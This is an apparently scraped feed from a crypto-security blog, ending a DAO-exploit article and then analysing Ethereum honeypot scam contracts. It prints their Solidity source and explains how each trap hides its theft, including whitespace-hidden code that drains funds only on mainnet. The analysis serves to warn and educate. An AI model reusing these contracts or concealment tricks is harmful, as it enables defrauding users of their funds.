The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan?

Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist).

In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law.

And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action.

Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second.

So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all.


Literature:


Conclusion

I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security


GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/-QDYiKCwOaA

Source: https://cryptodeeptech.ru/dao-exploit


Cryptanalysis of the DAO exploit & Multi-Stage Attack

Сообщение Cryptanalysis of the DAO exploit & Multi-Stage Attack появились сначала на «CRYPTO DEEP TECH».

]]>
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots https://cryptodeeptech.ru/solidity-vulnerable-honeypots/ Wed, 21 Jun 2023 14:24:24 +0000 https://cryptodeeptech.ru/?p=2264 Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a […]

Сообщение Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots появились сначала на «CRYPTO DEEP TECH».

]]>

Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker.

Let’s look at a couple different real world examples:

pragma solidity ^0.4.18;

contract MultiplicatorX3
{
    address public Owner = msg.sender;
   
    function() public payable{}
   
    function withdraw()
    payable
    public
    {
        require(msg.sender == Owner);
        Owner.transfer(this.balance);
    }
    
    function Command(address adr,bytes data)
    payable
    public
    {
        require(msg.sender == Owner);
        adr.call.value(msg.value)(data);
    }
    
    function multiplicate(address adr)
    public
    payable
    {
        if(msg.value>=this.balance)
        {        
            adr.transfer(this.balance+msg.value);
        }
    }
}

In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract.

pragma solidity ^0.4.19;

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    public
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    external
    payable
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    public
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash()SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log.

You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could.

A safer method the attacker should have used would have been to check the contract storage with a security analysis tool.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAOParity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons:

  • Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough.
  • Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough.
  • Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers.

Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked:

  1. Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be.
  2. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse.

Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties:

  • Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH.
  • Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds.
  • Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker.

Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks.

honeypot1: Multiplicator.sol

The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

GITHUB

This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero.

It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

honeypot2: Gift_1_ETH.sol

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

GITHUB

The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH?

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong?

One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

honeypot3: TestToken

I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here …

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net.

Ganache: starts from 0

Testrpc: starts from 1150000

Ropsten: a few weeks ago around 2596174

Main net: a few weeks ago around 5040270

Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed.

if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}}

EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago.

TL;DR

Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice:

  • Be careful where you send your ETH, it could be a trap.
  • Be nice and don’t steal from people.

I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract?

Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. 

In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end.

What is honeypot in smart contract?

A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them.

The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them.

However, with the rise of Blockchain technology and the smart contract concept.

Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology?

The Blockchain technology is built upon 6 main layers that are:

  1. The TCP/IP network
  2. Peer-to-Peer protocols
  3. Consensus algorithms
  4. Cryptography algorithms
  5. Execution (Data blocs, Transactions, …)
  6. Applications (Dapps, smart contracts …)
Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Black hat hackers started to use this concept to trap users both with good or bad intentions.


The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap.

Best 10 solidity smart contract audit tools that both developers and auditors use during their audit?

  1. Slither
  2. Securify
  3. SmartCheck
  4. Oyente
  5. Mythril
  6. ContractFuzzer
  7. Remix IDE static analysis plug-in
  8. Manticore
  9. sFuzz
  10. MadMax

Honestly, the honeypots concept in blockchain is just exploiting the greedy of users that cannot see the whole picture of the smart contract and does not dig deeper to understand the smart contract mechanism and code.

What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain.

In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract.

What are the types of smart contract honeypots?

Honeypots in smart contract can be divided into 3 main categories depending on the used techniques:

  • EVM based smart contract honeypots
  • Solidity compiler-based smart contract honeypots
  • Etherscan based smart contract honeypots

The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation.

six things you should do to prevent using components with known vulnerabilities:

  • Use components from official repositories
  • Remove unused components
  • Only accept components with active support
  • Put a vulnerability management system for you components
  • Put in place a components firewall
  • Remove or replace components with a stopped support

Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users.

The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled.

The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen.

The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user.


In my opinion the second category of honeypots is the most difficult to detect as it require a deep knowledge of the solidity compiler.

EVM based smart contract honeypots

The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code

A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal.

However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract.

Another example of the balance disorder type of honeypot could be found here:

https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453

By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code.

I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

And wait for a moment about 30 seconds to get the source code.

By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example.

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

The condition in line 24 will never be verified and the money will be stuck in the contract.

Solidity compiler-based smart contract honeypots

As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post.

Inheritance Disorder technique

One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected.

In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it.

To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples:

Example1:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code

If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money.

However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner.

Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same.

Example2

Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function.

Skip Empty String Literal

Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it.

The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed.

This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract.

Here is a simple example of this honeypot:

Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code

The source code is a little bit long so I will put just the most important functions:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract.

This behavior happens only in case of calling the function externally with the this.function().

Type Deduction Overflow

The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow.

This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code:

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

You can check the whole code here:

https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code

In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit.

However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei.

Uninitialized Struct

The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it.

An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value.

This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it.

Here is an example of such a honeypot:

https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain.

However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number.

Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals.


Most techniques used in this category of smart contract honeypots can easily be detected by users if they first try to compile and test their exploit in a local environment or a test chain. However, most of the time the vulnerabilities in those smart contracts are so easy to spot and exploit. Therefore, with a small portion of greediness and self-confidence, the users do not even think twice and directly execute their exploit on the mainnet.

Etherscan based smart contract honeypots

All the smart contracts that we have seen until now, exploit a solidity language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users.

Hidden State Update

The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value.

Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept:

Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract.

To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function.

However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform.

Straw Man Contract

This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function.

At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan.

Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue.

Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot:

https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code

Phenomenon from Blockchain Cryptocurrency Solidity Vulnerable Honeypots

Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed.

The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here.

On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots!

Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether.

A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did.

In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do.

The not-really-insecure non-lottery

The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether?

pragma solidity ^0.4.23;// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.001 ether;
address public ownerAddr; struct Game {
address player;
uint256 number;
}
Game[] public gamesPlayed; constructor() public {
ownerAddr = msg.sender;
shuffle();
} function shuffle() internal {
// randomly set secretNumber with a value between 1 and 10
secretNumber = 6;
} function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game); if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
} //shuffle();
lastPlayed = now;
} function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) {
suicide(msg.sender);
}
} function() public payable { }
}

It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong.

What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted.

Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.)

So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether.

The not-really-insecure non-riddle

This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves.

Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about?

contract G_GAME
{
function Play(string _response)
external
payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
}

string public question;
address questionSender;
bytes32 responseHash;

function StartGame(string _question,string _response)
public
payable
{
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}

function StopGame()
public
payable
{
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}

function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
require(msg.sender==questionSender);
question = _question;
responseHash = _responseHash;
}

function() public payable{}
}

The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright.

Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”.

Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure.

We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log);

The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up.

web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log);

The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”?

web3.sha3('TroublE');

That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match?

Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract?

